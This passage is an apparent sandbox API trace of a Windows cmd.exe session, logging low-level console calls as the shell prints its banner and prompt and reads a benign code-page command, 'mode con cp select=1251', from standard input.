(_FileHandle=1) returned 0x254 [0108.014] GetFileType (hFile=0x254) returned 0x3 [0108.015] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0108.015] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4e00ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff928*=0x2, lpOverlapped=0x0) returned 1 [0108.015] _vsnwprintf (in: _Buffer=0x7ff65bc07f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xf4e00ff958 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0108.015] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.015] GetFileType (hFile=0x254) returned 0x3 [0108.015] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0108.015] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xf4e00ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff928*=0x34, lpOverlapped=0x0) returned 1 [0108.015] _vsnwprintf (in: _Buffer=0x7ff65bc07f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4e00ff958 | out: _Buffer="\r\n") returned 2 [0108.015] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.015] GetFileType (hFile=0x254) returned 0x3 [0108.015] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0108.015] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4e00ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff928*=0x2, lpOverlapped=0x0) returned 1 [0108.015] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0108.015] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0108.015] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0108.015] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0108.015] ??_V@YAXPEAX@Z () returned 0x1 [0108.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0108.016] GetFileType (hFile=0x248) returned 0x3 [0108.016] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0108.016] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xf4e00ff798 | out: TokenHandle=0xf4e00ff798*=0x0) returned 0xc000007c [0108.016] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xf4e00ff798 | out: TokenHandle=0xf4e00ff798*=0x94) returned 0x0 [0108.016] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xf4e00ff748, TokenInformationLength=0x4, ReturnLength=0xf4e00ff750 | out: TokenInformation=0xf4e00ff748, ReturnLength=0xf4e00ff750) returned 0x0 [0108.016] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xf4e00ff750, TokenInformationLength=0x4, ReturnLength=0xf4e00ff748 | out: TokenInformation=0xf4e00ff750, ReturnLength=0xf4e00ff748) returned 0x0 [0108.016] NtClose (Handle=0x94) returned 0x0 [0108.016] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xf4e00ff760, nSize=0x0, Arguments=0xf4e00ff768 | out: lpBuffer="\x8320\x2264\x2dc") returned 0xf [0108.016] GetProcessHeap () returned 0x2dc22640000 [0108.016] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x218) returned 0x2dc22646c30 [0109.055] GetConsoleTitleW (in: lpConsoleTitle=0xf4e00ff7b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0109.344] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0109.345] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0109.450] GetProcessHeap () returned 0x2dc22640000 [0109.450] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646c30) returned 1 [0109.450] LocalFree (hMem=0x2dc22648320) returned 0x0 [0109.451] _vsnwprintf (in: _Buffer=0x7ff65bc07f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4e00ff5d8 | out: _Buffer="\r\n") returned 2 [0109.451] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.451] GetFileType (hFile=0x254) returned 0x3 [0109.451] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0109.451] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4e00ff5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff5a8*=0x2, lpOverlapped=0x0) returned 1 [0109.451] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0109.451] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dc22810080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0109.451] malloc (_Size=0x107ce) returned 0x2dc22820060 [0109.451] _vsnwprintf (in: _Buffer=0x2dc22820060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf4e00ff5e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0109.452] _vsnwprintf (in: _Buffer=0x2dc2282008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xf4e00ff5e8 | out: _Buffer=">") returned 1 [0109.452] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.452] GetFileType (hFile=0x254) returned 0x3 [0109.452] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0109.452] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xf4e00ff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff5d8*=0x18, lpOverlapped=0x0) returned 1 [0109.452] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.452] GetFileType (hFile=0x248) returned 0x3 [0109.452] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.452] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.452] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0109.452] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.452] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.452] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.452] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.452] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.452] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.453] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.453] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.453] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.453] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.453] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0109.453] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.453] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.454] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.454] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.455] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.455] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.455] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.455] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.455] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.455] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0109.455] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.456] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.456] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0109.456] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.456] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.456] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0109.456] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.456] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.456] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0109.456] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.456] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.456] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0109.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0109.457] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.457] GetFileType (hFile=0x248) returned 0x3 [0109.457] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.457] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.457] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.457] GetFileType (hFile=0x254) returned 0x3 [0109.457] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0109.457] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xf4e00ff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff8d8*=0x18, lpOverlapped=0x0) returned 1 [0109.457] GetProcessHeap () returned 0x2dc22640000 [0109.457] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x4012) returned 0x2dc22648fe0 [0109.457] GetProcessHeap () returned 0x2dc22640000 [0109.457] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648fe0) returned 1 [0109.458] _wcsicmp (_String1="mode", _String2=")") returned 68 [0109.458] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0109.458] _wcsicmp (_String1="FOR/?", 